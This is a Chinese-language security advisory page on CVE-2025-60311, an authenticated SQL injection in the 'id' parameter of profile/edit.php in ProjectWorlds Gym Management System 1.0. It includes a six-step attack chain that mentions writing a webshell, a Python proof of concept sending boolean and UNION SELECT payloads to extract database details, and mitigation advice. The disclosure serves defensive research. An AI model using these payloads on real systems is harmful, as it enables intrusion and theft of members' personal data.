IPBUF安全漏洞报告
English
CVE-2025-60311 CVSS 8.8 高危

CVE-2025-60311:ProjectWorlds健身房管理系统SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-60311
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ProjectWorlds Gym Management System

相关标签

SQL注入CVE-2025-60311ProjectWorldsGym Management SystemPHP高危漏洞profile/edit.phpid参数注入

漏洞概述

CVE-2025-60311是ProjectWorlds Gym Management System 1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于profile/edit.php页面中的"id"参数处,由于程序未对用户输入进行充分的过滤和参数化处理,攻击者可以通过构造恶意的SQL语句注入到数据库查询中。该漏洞的CVSS 3.1评分为8.8分,属于高危级别,攻击者可以通过网络远程利用该漏洞,仅需低权限认证即可发起攻击,且无需用户交互。漏洞的成功利用可能造成数据库信息泄露、数据篡改乃至服务器被完全控制等严重后果。ProjectWorlds Gym Management System是一款基于PHP开发的健身房管理系统,广泛用于管理会员信息、课程安排、教练管理等业务。该系统的开源特性使其在中小型健身房和教育领域有较多用户。一旦该漏洞被恶意利用,可能导致大量用户的个人敏感信息(如姓名、联系方式、健康数据等)泄露,对企业和用户造成重大损失。该漏洞已于2025年10月8日公开披露,引起了安全社区的广泛关注。

技术细节

该漏洞的根因在于profile/edit.php页面在处理用户提交的"id"参数时,未使用预编译参数化查询(Prepared Statements)或对输入进行严格的过滤与转义,而是直接将用户输入拼接到SQL查询语句中执行。攻击者可以通过在HTTP请求中构造特殊的SQL注入payload,例如在id参数后追加' OR '1'='1等经典注入语句,或者使用UNION SELECT联合查询来提取数据库中的敏感信息。具体利用方式如下:攻击者首先访问profile/edit.php页面,捕获正常请求中的id参数值,然后将该参数替换为恶意SQL注入语句。由于该漏洞需要低权限认证(PR:L),攻击者需要先获取一个普通用户账号,然后通过该账号登录系统后,利用编辑个人资料的功能点,将恶意SQL语句注入到id参数中。服务器端在拼接SQL语句时,恶意代码将被数据库引擎解析执行,从而实现未授权的数据访问或修改。攻击者还可以利用时间盲注(Time-based Blind SQLi)或布尔盲注(Boolean-based Blind SQLi)技术,在不直接回显数据的情况下逐步提取数据库信息。此外,利用SQL注入还可以进一步执行数据库管理系统的扩展功能,如在MySQL中通过INTO OUTFILE写入Webshell,实现远程代码执行。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统为ProjectWorlds Gym Management System 1.0,通过目录扫描、指纹识别等方式确认目标应用版本及技术栈。
STEP 2
步骤2:获取认证凭证
由于该漏洞需要低权限认证(PR:L),攻击者通过社工、弱口令爆破或注册功能获取一个普通用户账号。
STEP 3
步骤3:登录目标系统
使用获取的凭证登录Gym Management System,获取有效的会话Cookie。
STEP 4
步骤4:构造SQL注入Payload
访问profile/edit.php页面,捕获请求中的id参数,构造恶意SQL注入语句,如' OR '1'='1或UNION SELECT联合查询语句。
STEP 5
步骤5:发起注入攻击
将构造好的恶意SQL语句通过id参数发送到服务器,触发SQL注入漏洞。
STEP 6
步骤6:数据提取与权限提升
利用SQL注入漏洞提取数据库中的敏感信息(如管理员密码哈希、用户个人信息),并尝试进一步提权或写入Webshell实现远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60311 - ProjectWorlds Gym Management System SQL Injection PoC # Vulnerable endpoint: profile/edit.php # Vulnerable parameter: id import requests # Target configuration TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/login.php" EDIT_URL = f"{TARGET_URL}/profile/edit.php" # Attacker credentials (requires low privilege account) USERNAME = "attacker_user" PASSWORD = "attacker_password" # Create session to maintain cookies session = requests.Session() # Step 1: Login to obtain authenticated session login_data = { "username": USERNAME, "password": PASSWORD } session.post(LOGIN_URL, data=login_data) # Step 2: SQL Injection payload via 'id' parameter # Basic boolean-based injection to verify vulnerability sql_payload = "1' OR '1'='1" # Step 3: Send the malicious request params = { "id": sql_payload } response = session.get(EDIT_URL, params=params) # Step 4: Check response for SQL errors or data leakage if "SQL" in response.text or "syntax" in response.text.lower(): print("[+] Target is vulnerable to SQL Injection!") else: print("[*] Response received, analyze manually") # Step 5: Union-based injection to extract database info union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" response = session.get(EDIT_URL, params={"id": union_payload}) print(response.text) # Step 6: Extract database version and current user info_payload = "1' UNION SELECT version(),user(),database(),4,5,6,7,8,9,10-- -" response = session.get(EDIT_URL, params={"id": info_payload}) print(f"[+] Database info: {response.text}")

影响范围

ProjectWorlds Gym Management System 1.0

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)配置规则拦截针对profile/edit.php页面的SQL注入攻击;2)对id参数实施严格的输入验证,仅允许数字类型输入;3)暂时禁用或限制profile/edit.php页面的访问权限;4)监控数据库日志,检测异常查询行为;5)将数据库用户的权限降至最低,限制其对敏感表的操作权限;6)启用数据库的查询日志审计功能,及时发现可疑的SQL注入尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表